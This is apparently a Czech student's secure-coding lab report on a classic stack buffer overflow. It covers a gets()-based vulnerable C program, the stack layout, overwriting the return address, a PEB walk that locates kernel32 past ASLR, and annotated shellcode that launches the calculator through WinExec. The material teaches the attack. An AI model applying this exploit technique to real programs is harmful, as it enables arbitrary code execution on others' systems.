Jiří Pašek
pasekji1@fit.cvut.cz

Buffer overflow
Bezpečný kód, BI-BEK

07. 04. 2021

1 Úkol

Tento kód používám pro svoji demonstraci přetečení bufferu.

```
#include <stdio.h>

int main(){
        char buffer[20];
        printf("What is your name?\n");
        gets(buffer);
        printf("Hi, %s!\n", buffer);
        return 0;
}
```

Údaje ze zásobníku:

na této adrese začíná buffer →	0019FF14	← tuto adresu obsahuje reg EAX jako Arg1 při načítání jména(jméno se načítá na tuhle adresu, protože zde začíná buffer) ← dále tuto samou adresu obsahuje reg ECX jako Arg2 při vypsání pozdravu
	0019FF18	
	0019FF1C	
	0019FF20	
	0019FF24	
	0019FF28	→ na této adrese je uložena záloha reg EBP
ESP(vrchol zásobníku) ukazuje na adresu →	0019FF2C	→ na této adrese je uložena návratová adresa

Buffer začíná na adrese `0019FF14` a končí adresou `0019FF24`. Lze to odvodit v debuggeru při zadání řetězce např. `abcdefghijklmnopqrstuvwxyz123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ`, poté se záloha EBP na adrese `0019FF28` přepíše na `uvwx` a návratová hodnota na adrese `0019FF2C` na `yz12`.

2 Úkol

Exploit provedu vložením škodlivého kódu na začátek bufferu, tedy na adresu `0019FF14`. Od `0019FF14` do `0019FF24` máme k dispozici $5 \cdot 4 = 20$ bytů + 4 byty (na `0019FF28`) při přepisu zálohy registru EBP. Náš vstup musí být nejméně 24 bytů dlouhý, abychom přetekli až do adresy `0019FF2C`, kde potřebujeme přepsat návratovou hodnotu pro spuštění škodlivého kódu. Škodlivý kód bychom mohli vkládat přímo na další adresu za `0019FF2C` (tedy `0019FF30`), tím bychom získali více místa pro vložení škodlivého kódu, ale můžeme se setkat s problémem vložení terminálních nul při vkládání návratových adres, jelikož na little-endianu zadáváme adresu `0019FF14` jako `14 FF 19 00`. Takto stačí vložení terminální nuly uskutečnit odklepnutím entrem. Pokud povolíme kompatibilitu se starou konzolí na Windows, mužeme ukončovací nuly vkládat pomocí CTRL+@. Vkládání provedu pomocí standardního vstupu v terminálu, ne vždy totiž můžeme přesměrovat na vstup nějaký binární soubor. Protože jsme na Windows, použijeme pro vložení hex hodnot kombinaci ALT + hex hodnota v desítkové soustavě. Tedy pro shrnutí, škodlivý kód budeme vkládat na začátek bufferu (`0019FF14`), musí se vejít do 24 bytů a pokud bude menší, musíme zbytek do 24 bytů něčím libovolným vyplnit. Poté bude následovat nová návratová adresa, pomocí které program donutíme zavolat kód na začátku bufferu. Návratovou adresu zadáme `0019FF14` zadáme ALT+20, ALT+255, ALT+25 a ukončovací nula se vloží při potvrzení. Některé znaky mohou vypdat jako mezera, nebo se mohou zdát jako 2 znaky, ale budou vloženy tak, jak zamýšlíme.

3 Úkol

Pro spuštění nějakého programu prostřednicvtím WinApi můžeme využít např funkci CreateProcess() z knihovny kernel32, ta je ale pro svůj počet parametrů nepříliš vhodná pro reprezentaci v assembleru a my jsme navíc omezeni délkou pro škodlivý kód na 24 bytů, proto ji nevolíme. Dále by připadala možnost využít funkce ShellExecute() z knihovny shell32, ale ta není používána naším zranitelným programem `Source.exe`, není tedy namapována do paměti našeho programu, tedy ji nemůžeme použít, viz.

```
Microsoft (R) COFF/PE Dumper Version 14.28.29912.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file Source.exe

File Type: EXECUTABLE IMAGE

  Section contains the following imports:

    KERNEL32.dll
                413000 Import Address Table
                419264 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference
```

Použijeme funkci WinExec(), která je velmi zastaralá a používá se pouze kvůli kompatibilitě, ale je součástí knihovny kernel32, tedy ji lze použít pro náš program. Musíme tedy zjistit, na jaou adresu systém Windows tuto funkci namapoval. Kernel32 je v paměti u Windows vždy načtený, načítá se při startu systému a pro volbu adresy se používá ASLR, aby ji útočník nemohl snadno uhádnout.

Tento program nám hledanou adresu nalezne a vypíše ji na standardní výstup. Pro jeho kompilaci je použito cl.

```
#include <iostream>

int main()
{
    int address = 0;
    __asm
    {
                xor eax, eax
                mov eax, fs:[0x30]
                mov eax, [eax + 0x0C]
                mov eax, [eax + 0x14]
                mov eax, [eax]
                mov eax, [eax]
                mov eax, [eax + 0x10]
                mov address, eax
    }
    std::cout << "kernel32 address is: " << std::hex << address << std::endl;
    return 0;
}
```

Nejprve se do registru EAX načte Process Environment Block (PEB) struktura, kterou má každý běžící proces a lze ho nalézt na fs:[0x30]. Dále se přesouváme na offset + 0x0C na začátek struktury PEB_LDR_DATA. Přes další offsety se dostaneme až na adresu knihovny kernel32 a tu poté vypisujeme na standardní výstup. Tento program bude fungovat pouze v rámci systémů Windows.

```
PS C:\Users\jirip\Source\Repos\Project1\Project1> .\getaddr.exe
kernel32 address is: 76160000
```

4 Úkol

Pro konkrétní kód zvolím spuštění kalkulačky jako na cvičení. Exploit tedy bude vypadat následovně. Spustit windows kalkulačku z jazyka C lze pomocí příkazu `WinExec("calc", 0);`. Kód lze ve debuggeru přepsat a zjistit tím požadovaný strojový kód, který budeme zadávat na vstup. Kód exploitu vypadá následovně:

```
0019FF14   83EC 30          SUB ESP,30 - nutno provést, abychom si při vkládání argumentů
nepřepisovali vložený kód, tedy posuneme zásobník před náš kód
0019FF17   33DB             XOR EBX,EBX - tímto příkazem si vyrobíme 0, která by se nám mohla špatně
zadávat jako vstup(viz. předchozí úkoly)
0019FF19   53               PUSH EBX        - tímto příkazem dostaneme 0 na zásobník, zde slouží jako
reprezentace druhého argumentu
0019FF1A   68 63616C63      PUSH 636C6163 - na zásobník vkládáme hex hodnoty ASCII jako první
argument(PUSH calc), opět zapisujeme reprezentaci řetězce od zadu
0019FF1F   8BC4             MOV EAX,ESP          - ukazatel na předchozí řetězec si dočasně dáme
do registru EAX
0019FF21   53               PUSH EBX        - vložení 0 (druhého argumentu) na vrchol zásobníku
0019FF22   50               PUSH EAX        - vložení řetězce calc na vrchol zásobníku
0019FF23   B8 00008276      MOV EAX,76820000 - vkládáme adresu funkce do registru EAX,
abychom jej mohli zavolat
0019FF28   FFD0             CALL EAX        -zde již voláme funkci pro spuštění kalkulačky
```